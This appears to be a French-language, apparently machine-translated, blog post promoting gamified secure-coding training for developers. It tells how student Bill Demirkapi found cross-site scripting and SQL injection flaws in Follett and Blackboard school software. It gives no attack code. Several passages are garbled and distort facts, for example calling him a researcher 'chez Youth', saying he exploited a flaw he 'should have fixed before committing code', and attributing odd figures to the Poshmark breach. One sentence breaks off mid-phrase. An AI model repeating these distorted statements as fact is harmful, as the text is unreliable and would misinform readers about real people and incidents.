Les développeurs qui maîtrisent la sécurité sont hautement appréciés pour les compétences et les fonctionnalités de protection qu'ils peuvent apporter à l'organisation dès la phase de rédaction du code. La sécurité n'est plus une option. En effet, les amendes liées au RGPD, les réglementations de conformité PCI-DSS, la gouvernance NIST... et le risque accru de poursuites judiciaires dans le cadre de recours collectifs de plusieurs millions de dollars, comme celui contre Equifax, ont rendu la sécurité incontournable.

Une approche intégrée peut servir de catalyseur pour attirer l'attention des développeurs grâce à un apprentissage sans interruption. Elle permet de créer des parcours de formation approfondis, de former des experts en sécurité et de promouvoir la responsabilité collective nécessaire pour protéger les données à l'échelle mondiale. Veuillez télécharger les outils intégrés pour

sur Jira et GitHub et nous faire part de vos commentaires.

Le récent rapport de Bill Demirkapi, chercheur en sécurité informatique chez Youth, sur les principales vulnérabilités exposées dans les logiciels utilisés dans son établissement scolaire m'a rappelé des souvenirs. Je me souviens, lorsque j'étais enfant et curieux, avoir soulevé le capot du logiciel pour observer son fonctionnement. Et surtout, je me demandais si j'étais capable de le pirater. Depuis des décennies, les ingénieurs en informatique cherchent à améliorer et à renforcer constamment leurs produits, et la communauté de la sécurité joue un rôle essentiel dans la détection des failles et des catastrophes potentielles (même si son approche est parfois un peu arrogante). Et ce, avant que des personnes malveillantes ne le fassent.

Cependant, le problème ici est qu'en réaction à sa découverte, il a reçu une légère sanction disciplinaire. Et cela ne s'est produit qu'après qu'il ait épuisé tous les moyens possibles pour contacter l'entreprise (Follett Corporation). À titre personnel, il a finalement choisi de procéder à une divulgation publique afin de se faire connaître et de faire connaître ses compétences en matière de piratage informatique. Ses tentatives répétées pour alerter Follett Corporation de manière éthique sont restées sans réponse. Le logiciel est resté vulnérable et les données des étudiants, qui s'accumulaient en quantités considérables, n'étaient pas cryptées et pouvaient donc être facilement exposées.

Il a également détecté des bogues dans le logiciel Blackboard d'une autre société. Les données de Blackboard étaient au moins cryptées, mais un attaquant potentiel pouvait accéder à des millions d'enregistrements et en voler davantage. Son école utilisait à la fois ce logiciel et les produits Follett.

Le terme « hacker malveillant » pose problème.

Demircapı a présenté les résultats de ses recherches lors d'une conférence cette année. Les détails plus ludiques de son icône Def, ses facéties, ont été applaudis par le public. C'est exact. En réalité, Follett Corporation a initialement rencontré de nombreux obstacles pour faire reconnaître ses découvertes, qu'il avait faites en se plongeant dans des livres peu recommandables, mais en reconnaissant ses efforts et en suivant ses conseils, l'entreprise a finalement renforcé la sécurité de ses logiciels et évité une nouvelle crise qui aurait pu se traduire par une nouvelle fuite de données. Il est également prévu qu'il intègre l'université technologique de Rochester après avoir obtenu son diplôme d'études secondaires, ce qui montre clairement qu'il est sur la bonne voie pour devenir un expert en sécurité très recherché.

En tant que responsable de la sécurité, il est difficile de ne pas contester la manière dont cette situation a été gérée. Dans ce cas précis, tout s'est bien terminé, mais au début, il a été traité comme un enfant turbulent qui se mêlait de ce qui ne le regardait pas.En recherchant cet incident sur Google, on trouve des articles qui le qualifient de « hacker » (les profanes en matière de sécurité le considèrent à bien des égards comme un méchant). En réalité, son approche (et celle de nombreuses autres personnes) contribue à la sécurité des données.

Nous avons besoin de personnes curieuses, intelligentes et soucieuses de la sécurité. De plus, ce type d'incident devrait se produire plus fréquemment. En juillet, plus de 4 milliards d'enregistrements ont été exposés à des violations de données malveillantes cette année seulement. En août, une violation de la sécurité de la marque de mode et de lifestyle Poshmark a ajouté 50 millions de dollars à ce chiffre.

Nous commettons également les mêmes erreurs. Plus inquiétant encore, ces vulnérabilités, qui sont souvent des vulnérabilités simples qui nous font trébucher, continuent de nous faire chuter.

Le cross-site scripting et l'injection SQL n'ont pas disparu.

Comme indiqué précédemment, Wired et Demirkapi ont confirmé que le logiciel communautaire Blackboard et le système d'information étudiant Follets contenaient des bogues de sécurité courants, tels que le cross-site scripting (XSS) et l'injection SQL. Ces deux bogues ont été identifiés par les experts en sécurité dès les années 1990. Nous avons continué à les surveiller de près en raison de leur importance. Il y a très longtemps, tout comme les t-shirts Hypercolor et les disquettes, ils ne sont plus aujourd'hui qu'un lointain souvenir.

Cependant, ce n'est pas le cas. Il est également évident qu'il n'y a pas suffisamment de développeurs ayant une conscience suffisante de la sécurité pour empêcher l'introduction de ces fonctionnalités dans le code. Les tâches pouvant être effectuées à l'aide d'outils d'analyse et de révision manuelle du code sont limitées, et les problèmes de sécurité sont également beaucoup plus complexes que les injections XSS et SQL. En effet, il est possible de mieux exploiter ces méthodes coûteuses et chronophages.

Des personnes telles que Bill Demirkapi devraient inspirer les développeurs à créer un code de meilleure qualité. À seulement 17 ans, il a compromis deux systèmes à fort trafic en exploitant un vecteur de menace qu'il aurait dû détecter et corriger avant de valider le code.

Gamification : Quel est le principe fondamental de la participation ?

Pour expliquer brièvement pourquoi les développeurs ne s'impliquent toujours pas beaucoup dans la sécurité, c'est parce que l'on ne déploie pas suffisamment d'efforts organisationnels ou éducatifs pour former des développeurs compétents en matière de sécurité. Si les entreprises prenaient le temps de parler le langage des développeurs et mettaient en place des formations pour les motiver à continuer à essayer, si elles récompensaient leur participation et reconnaissaient leur contribution en instaurant une culture de la sécurité, les vulnérabilités gênantes commenceraient à disparaître des logiciels que nous utilisons.

Demirkapi accorde manifestement une attention particulière à la sécurité et a consacré du temps à apprendre à rétroconcevoir des logiciels malveillants, à détecter des vulnérabilités et à détruire des éléments qui, vus de l'extérieur, ne semblent pas défectueux. Cependant, au cours de notre conversation (et à travers les diapositives DEF CON), il a fait une déclaration intéressante au sujet de son autoformation... Il l'a transformée en jeu.

« Mon objectif étant de trouver quelque chose dans le logiciel de l'école, j'ai pu apprendre par moi-même une quantité considérable de tests d'intrusion grâce à une méthode ludique et amusante. J'ai commencé mes recherches dans le but d'en savoir plus, mais j'ai finalement découvert que la situation était bien pire que prévu », a-t-il déclaré.

Tous les développeurs ne souhaitent pas nécessairement se spécialiser dans la sécurité, mais chacun devrait avoir l'opportunité de comprendre les principes fondamentaux de la sécurité. En particulier, les développeurs qui gèrent de grandes quantités de données sensibles doivent posséder des connaissances de base qui leur permettent d'agir en tant que « gardiens du code » au sein de leur organisation. Si tous les développeurs pouvaient corriger les failles de sécurité les plus simples avant même qu'elles ne soient exploitées, nous serions dans une position bien plus sûre face aux développeurs malveillants.

Vous souhaitez en savoir plus sur l'apprentissage ludique ? Découvrez la série Coders Conquer Security sur le lien suivant XSS et Injection SQL.